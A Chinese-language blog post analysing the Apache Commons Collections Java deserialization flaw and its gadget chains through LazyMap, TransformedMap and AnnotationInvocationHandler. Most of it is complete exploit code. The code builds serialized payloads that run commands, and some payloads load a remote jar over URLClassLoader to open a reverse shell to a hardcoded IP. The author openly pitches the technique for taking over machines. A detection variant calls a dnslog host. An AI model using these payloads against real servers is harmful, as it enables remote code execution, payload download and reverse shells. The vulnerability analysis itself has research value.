做者: 隨風 java
該漏洞的出現的根源在CommonsCollections組件中對於集合的操做存在能夠進行反射調用的方法,而且該方法在相關對象反序列化時並未進行任何校驗,新版本的修復方案對相關反射調用進行了限制。 git
問題函數主要出如今org.apache.commons.collections.Transformer接口上,咱們能夠看到該接口值定義了一個方法
咱們能夠看到該方法的做用是給定一個Object對象通過轉換後同時也返回一個Object,咱們來看看該接口有哪些實現類
這些transformer的實現類中,咱們一眼就看到了這裏的InvokerTransformer,搞JAVA的對invoke這個詞應該比較敏感,咱們跟進這個實現類去看看具體的實現,
咱們能夠看到該該方法中採用了反射的方法進行函數調用,Input參數爲要進行反射的對象(反射相關的知識就不在這贅述了),iMethodName,iParamTypes爲調用的方法名稱以及該方法的參數類型,iArgs爲對應方法的參數,在invokeTransformer這個類的構造函數中咱們能夠發現,這三個參數均爲可控參數 github
public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) { super(); iMethodName = methodName; iParamTypes = paramTypes; iArgs = args; }
那麼如今核心的問題就是尋找哪些類調用了Transformer接口中的transform方法,經過eclipse咱們找到了如下類調用了該方法
這裏咱們能夠看到有兩個比較明顯的類調用了transform方法,分別是 web
這裏對於網上給出的POC使用的是LazyMap來進行構造,其實這裏TransformedMap構造更爲簡單,由於觸發條件比較簡單,後面會具體分析。
這裏以網上給出的POC來進行分析,畢竟你們都在用麼。 shell
這裏LazyMap實現了Map接口,其中的get(Object)方法調用了transform方法,跟進函數進去 apache
public Object get(Object key) { // create value for key if key is not currently in the map if (map.containsKey(key) == false) { Object value = factory.transform(key); map.put(key, value); return value; } return map.get(key); }
這裏能夠看到,在調用transform方法以前會先判斷當前Map中是否已經有該key,若是沒有最終會由這裏的factory.transform進行處理,我嗎繼續跟蹤下facory這個變量看看該變量是再哪被初始化的, 服務器
public static Map decorate(Map map, Transformer factory) { return new LazyMap(map, factory); }
這裏的decorate方法會對factory進行初始化,同時實例化一個LazyMap,到這裏就比較有意思了。 app
爲了能成功調用transform方法,咱們找到了LazyMap方法,發如今get()方法中調用了該方法,因此說如今漏洞利用的核心條件就是去尋找一個類,在對象進行反序列化時會調用咱們精心構造對象的get(Object)方法,老外在這裏找到了一個方法的確能在反序列化時觸發LazyMap的get(Object)方法,老外的這種精神必須佩服! eclipse
如今重點如今轉移到sun.reflect.annotation.AnnotationInvocationHandler類上,咱們看看在該類進行反序列化的時候到底是如何觸發漏洞代碼的。 jvm
跟進sun.reflect.annotation.AnnotationInvocationHandler的源代碼
在反序列的時候程序首先會調用調用readObject這個方法,咱們首先看看這個readObject方法
這裏的memberValues是咱們經過構造AnnotationInvocationHandler 構造函數初始化的變量,也就是咱們構造的lazymap對象,這裏咱們只須要找到一個memberValues.get(Object)的方法便可觸發該漏洞,可是惋惜的是該方法裏面並無這個方法。
到這裏,在老外給的POC裏面,有一個Proxy.newInstance(xx)的方法,不少人可能不太明白老外爲何這裏須要用到動態代理,這裏也就是POC的精華之處了,咱們在readObject方法中並未找到lazymap的get方法,可是咱們繼續在sun.reflect.annotation.AnnotationInvocationHandler類裏面找看看那個方法調用了memberValues.get(Object)方法,很幸運咱們發如今invoke方法中memberValues.get(Object)被調用
這裏你們應該能明白老外爲何要用動態代理來進行構造POC了,由於AnnotationInvocationHandler默認實現了InvocationHandler接口,在用Object iswin=Proxy.newInstance(classloader,interface,InvocationHandler)生成動態代理後,當對象iswin在進行對象調用時,那麼就會調用InvocationHandler.invoke(xx)方法,因此POC的執行流程爲map.xx->proxy(Map).invoke->lazymap.get(xx) 就會觸發transform方法從而執行惡意代碼。
這裏的ChainedTransformer爲鏈式的Transformer,會挨個執行咱們定義的Transformer,這裏比較簡單,有興趣本身去看源碼就知道。
這裏若是使用TransformedMap來進行POC的構造就很是簡單了,咱們跟進TransformedMap的checkSetValue方法
protected Object checkSetValue(Object value) { return valueTransformer.transform(value); }
咱們繼續看checkSetValue被那個函數所調用,在MapEntry類中的setValue剛好調用了checkSetValue,這裏直接觸發了tranform函數,用TransformedMap來構造POC爲何說比LazyMap好呢,那是由於這裏觸發的條件比較簡單,咱們能夠在sun.reflect.annotation.AnnotationInvocationHandler中的readObject(xxx)
這裏咱們明顯能夠看到memberValue.setValue(xxx)方法,因此咱們只須要構造一個不爲空的TransformedMap,在AnnotationInvocationHandler.readObject(xx)事就會觸發漏洞,須要注意,這裏的觸發的類爲AnnotationInvocationHandler,在觸發漏洞事會對type進行檢查,因此在transformer的時候咱們要講type設置爲annotation類型。
因此這裏POC執行流程爲TransformedMap->AnnotationInvocationHandler.readObject()->setValue()->checkSetValue()漏洞成功觸發。
利用代碼
import java.io.File; import java.io.FileInputStream; import java.io.FileNotFoundException; import java.io.FileOutputStream; import java.io.IOException; import java.io.ObjectInputStream; import java.io.ObjectOutputStream; import java.lang.annotation.Retention; import java.lang.reflect.Constructor; import java.util.HashMap; import java.util.Map; import java.util.Map.Entry; import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.map.TransformedMap; /** * @ClassName: Main.java * @Description: TODO * @author iswin * @email admin@iswin.org * @Date 2015年11月8日 下午12:12:13 */ public class Main { public static Object Reverse_Payload(String execArgs) throws Exception { final Transformer[] transforms = new Transformer[] { new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[] { String.class, Class[].class }, new Object[] { "getRuntime", new Class[0] }), new InvokerTransformer("invoke", new Class[] { Object.class, Object[].class }, new Object[] { null, new Object[0] }), new InvokerTransformer("exec", new Class[] { String.class }, execArgs), new ConstantTransformer(1) }; Transformer transformerChain = new ChainedTransformer(transforms); Map innermap = new HashMap(); innermap.put("value", "value"); Map outmap = TransformedMap.decorate(innermap, null, transformerChain); Class cls = Class .forName("sun.reflect.annotation.AnnotationInvocationHandler"); Constructor ctor = cls.getDeclaredConstructor(Class.class, Map.class); ctor.setAccessible(true); Object instance = ctor.newInstance(Retention.class, outmap); return instance; } public static void main(String[] args) throws Exception { GeneratePayload(Reverse_Payload("cmd"), "/Users/iswin/Downloads/test.bin"); } public static void GeneratePayload(Object instance, String file) throws Exception { File f = new File(file); ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream(f)); out.writeObject(instance); out.flush(); out.close(); } public static void payloadTest(String file) throws Exception { // 這裏爲測試上面的tansform是否會觸發payload // Map.Entry onlyElement =(Entry) outmap.entrySet().iterator().next(); // onlyElement.setValue("foobar"); ObjectInputStream in = new ObjectInputStream(new FileInputStream(file)); in.readObject(); in.close(); } }
漏洞高級利用
如今網上給出的poc只能執行命令或者寫個文件之類的,本文將介紹一種通用的漏洞利用方法,只要服務器能夠出網,就能夠進行任何操做,例如反彈個shell,寫文件?固然還有抓雞等。
漏洞原理什麼的在上面已經分析過了,網上的POC都是調用RunTime.getRuntime().exec(「cmdxx」),不少人在問這個漏洞執行命令後能不能回顯,對於回顯,其實就是想辦法拿到容器的response,可是很是遺憾,我在對jboss進行測試時並未找到一種方式能夠獲取噹噹前請求的response,其餘容器就不清楚了,理論上只要找到一個方法能夠獲取到當前請求的response,那麼回顯就搞定了,期待有大牛來實現。
到目前爲止,咱們只能經過反射的方式來進行函數調用,若是要實現複雜的功能,估計構造POC會把人折磨死,因此是否是有一種通用的方法去加載咱們的payload呢。
在java中有個URLClassLoader類,關於該類的做用你們本身去百度,簡單說就是遠程加載class到本地jvm中,說到這,我想稍微明白一點的就知道怎麼作了,這裏不廢話了,文章寫得累死了,直接給出POC吧,至於具體怎麼利用,如何實現抓雞等,明白人天然就明白。
反彈shell的原理,經過classload從我博客遠程加載一個http://www.isiwn.org/attach/iswin.jar文件,而後進行實例化,博客上的jar文件裏面包含了反彈shell的腳本,將類加載到本地後實例化實例化時在構造方法中執行反彈shell的payload。
直接上代碼
我已經對網上的poc進行了修改,修改的更加容易閱讀,方便你們學習。
package ysoserial.payloads; import java.io.File; import java.io.FileOutputStream; import java.io.ObjectOutputStream; import java.lang.annotation.Retention; import java.lang.reflect.Constructor; import java.lang.reflect.Field; import java.lang.reflect.InvocationHandler; import java.lang.reflect.Proxy; import java.util.HashMap; import java.util.Map; import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.map.LazyMap; public class CommonsCollections1{ public InvocationHandler getObject(final String ip) throws Exception { // inert chain for setup final Transformer transformerChain = new ChainedTransformer( new Transformer[] { new ConstantTransformer(1) }); // real chain for after setup final Transformer[] transformers = new Transformer[] { new ConstantTransformer(java.net.URLClassLoader.class), // getConstructor class.class classname new InvokerTransformer("getConstructor", new Class[] { Class[].class }, new Object[] { new Class[] { java.net.URL[].class } }), // newinstance string http://www.iswin.org/attach/iswin.jar new InvokerTransformer( "newInstance", new Class[] { Object[].class }, new Object[] { new Object[] { new java.net.URL[] { new java.net.URL( "http://www.iswin.org/attach/iswin.jar") } } }), // loadClass String.class R new InvokerTransformer("loadClass", new Class[] { String.class }, new Object[] { "R" }), // set the target reverse ip and port new InvokerTransformer("getConstructor", new Class[] { Class[].class }, new Object[] { new Class[] { String.class } }), // invoke new InvokerTransformer("newInstance", new Class[] { Object[].class }, new Object[] { new String[] { ip } }), new ConstantTransformer(1) }; final Map innerMap = new HashMap(); final Map lazyMap = LazyMap.decorate(innerMap, transformerChain); //this will generate a AnnotationInvocationHandler(Override.class,lazymap) invocationhandler InvocationHandler invo = (InvocationHandler) getFirstCtor( "sun.reflect.annotation.AnnotationInvocationHandler") .newInstance(Retention.class, lazyMap); //generate object which implements specifiy interface final Map mapProxy = Map.class.cast(Proxy.newProxyInstance(this .getClass().getClassLoader(), new Class[] { Map.class }, invo)); final InvocationHandler handler = (InvocationHandler) getFirstCtor( "sun.reflect.annotation.AnnotationInvocationHandler") .newInstance(Retention.class, mapProxy); setFieldValue(transformerChain, "iTransformers", transformers); return handler; } public static Constructor<?> getFirstCtor(final String name) throws Exception { final Constructor<?> ctor = Class.forName(name) .getDeclaredConstructors()[0]; ctor.setAccessible(true); return ctor; } public static Field getField(final Class<?> clazz, final String fieldName) throws Exception { Field field = clazz.getDeclaredField(fieldName); if (field == null && clazz.getSuperclass() != null) { field = getField(clazz.getSuperclass(), fieldName); } field.setAccessible(true); return field; } public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception { final Field field = getField(obj.getClass(), fieldName); field.set(obj, value); } public static void main(final String[] args) throws Exception { final Object objBefore = CommonsCollections1.class.newInstance() .getObject("10.18.180.34:8080"); //deserialize(serialize(objBefore)); File f = new File("/Users/iswin/Downloads/payloadsfinal.bin"); ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream(f)); out.writeObject(objBefore); out.flush(); out.close(); } }
直接上代碼
import java.io.File; import java.io.FileInputStream; import java.io.FileNotFoundException; import java.io.FileOutputStream; import java.io.IOException; import java.io.ObjectInputStream; import java.io.ObjectOutputStream; import java.lang.annotation.Retention; import java.lang.reflect.Constructor; import java.util.HashMap; import java.util.Map; import java.util.Map.Entry; import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.map.TransformedMap; /** * @ClassName: Main.java * @Description: TODO * @author iswin * @email admin@iswin.org * @Date 2015年11月8日 下午12:12:13 */ public class Main { public static Object Reverse_Payload(String ip, int port) throws Exception { final Transformer[] transforms = new Transformer[] { new ConstantTransformer(java.net.URLClassLoader.class), // getConstructor class.class classname new InvokerTransformer("getConstructor", new Class[] { Class[].class }, new Object[] { new Class[] { java.net.URL[].class } }), // newinstance string http://www.iswin.org/attach/iswin.jar new InvokerTransformer( "newInstance", new Class[] { Object[].class }, new Object[] { new Object[] { new java.net.URL[] { new java.net.URL( "http://www.iswin.org/attach/iswin.jar") } } }), // loadClass String.class R new InvokerTransformer("loadClass", new Class[] { String.class }, new Object[] { "R" }), // set the target reverse ip and port new InvokerTransformer("getConstructor", new Class[] { Class[].class }, new Object[] { new Class[] { String.class } }), // invoke new InvokerTransformer("newInstance", new Class[] { Object[].class }, new Object[] { new String[] { ip + ":" + port } }), new ConstantTransformer(1) }; Transformer transformerChain = new ChainedTransformer(transforms); Map innermap = new HashMap(); innermap.put("value", "value"); Map outmap = TransformedMap.decorate(innermap, null, transformerChain); Class cls = Class .forName("sun.reflect.annotation.AnnotationInvocationHandler"); Constructor ctor = cls.getDeclaredConstructor(Class.class, Map.class); ctor.setAccessible(true); Object instance = ctor.newInstance(Retention.class, outmap); return instance; } public static void main(String[] args) throws Exception { GeneratePayload(Reverse_Payload("146.185.182.237", 8090), "/Users/iswin/Downloads/test.bin"); } public static void GeneratePayload(Object instance, String file) throws Exception { File f = new File(file); ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream(f)); out.writeObject(instance); out.flush(); out.close(); } public static void payloadTest(String file) throws Exception { // 這裏爲測試上面的tansform是否會觸發payload // Map.Entry onlyElement =(Entry) outmap.entrySet().iterator().next(); // onlyElement.setValue("foobar"); ObjectInputStream in = new ObjectInputStream(new FileInputStream(file)); in.readObject(); in.close(); } }
漏洞檢測?
這裏提供一個poc供你們進行檢測,其實就是發送一個http請求到指定ip,而後參數中帶有特定特徵來判斷是否存在漏洞,直接觀察日誌就能夠了。
package iswin; import java.io.File; import java.io.FileOutputStream; import java.io.ObjectOutputStream; import java.lang.reflect.Constructor; import java.lang.reflect.Field; import java.lang.reflect.InvocationHandler; import java.lang.reflect.Proxy; import java.util.HashMap; import java.util.Map; import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.map.LazyMap; public class CommonsCollections1 { public InvocationHandler getObject(final String ip) throws Exception { final Transformer transformerChain = new ChainedTransformer( new Transformer[] { new ConstantTransformer(1) }); final Transformer[] transformers = new Transformer[] { new ConstantTransformer(java.net.URL.class), new InvokerTransformer("getConstructor", new Class[] { Class[].class }, new Object[] { new Class[] { String.class } }), new InvokerTransformer("newInstance", new Class[] { Object[].class }, new Object[] { new String[] { ip } }), new InvokerTransformer("openStream", new Class[] {}, new Object[] {}), new ConstantTransformer(1) }; // final Map innerMap = new HashMap(); // // final Map lazyMap = LazyMap.decorate(new HashMap(), // transformerChain); // this will generate a // AnnotationInvocationHandler(Override.class,lazymap) invocationhandler InvocationHandler invo = (InvocationHandler) getFirstCtor( "sun.reflect.annotation.AnnotationInvocationHandler") .newInstance(Override.class, LazyMap.decorate(new HashMap(), transformerChain)); final Map mapProxy = Map.class.cast(Proxy.newProxyInstance(this .getClass().getClassLoader(), new Class[] { Map.class }, invo)); final InvocationHandler handler = (InvocationHandler) getFirstCtor( "sun.reflect.annotation.AnnotationInvocationHandler") .newInstance(Override.class, mapProxy); setFieldValue(transformerChain, "iTransformers", transformers); return handler; } public static Constructor<?> getFirstCtor(final String name) throws Exception { final Constructor<?> ctor = Class.forName(name) .getDeclaredConstructors()[0]; ctor.setAccessible(true); return ctor; } public static Field getField(final Class<?> clazz, final String fieldName) throws Exception { Field field = clazz.getDeclaredField(fieldName); if (field == null && clazz.getSuperclass() != null) { field = getField(clazz.getSuperclass(), fieldName); } field.setAccessible(true); return field; } public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception { final Field field = getField(obj.getClass(), fieldName); field.set(obj, value); } public static void main(final String[] args) throws Exception { final Object objBefore = CommonsCollections1.class.newInstance() .getObject("http://abc.333d61.dnslog.info/tangscan/iswin.jpg"); File f = new File("/Users/iswin/Downloads/hello.bin"); ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream(f)); out.writeObject(objBefore); out.flush(); out.close(); // Serializables.deserialize(Serializables.serialize(objBefore)); } }
[1] :https://github.com/frohoff/ysoserial/
[2] :http://foxglovesecurity.com/2015/11/06/what-do-weblogic-websphere-jboss-jenkins-opennms-and-your-application-have-in-common-this-vulnerability/#jboss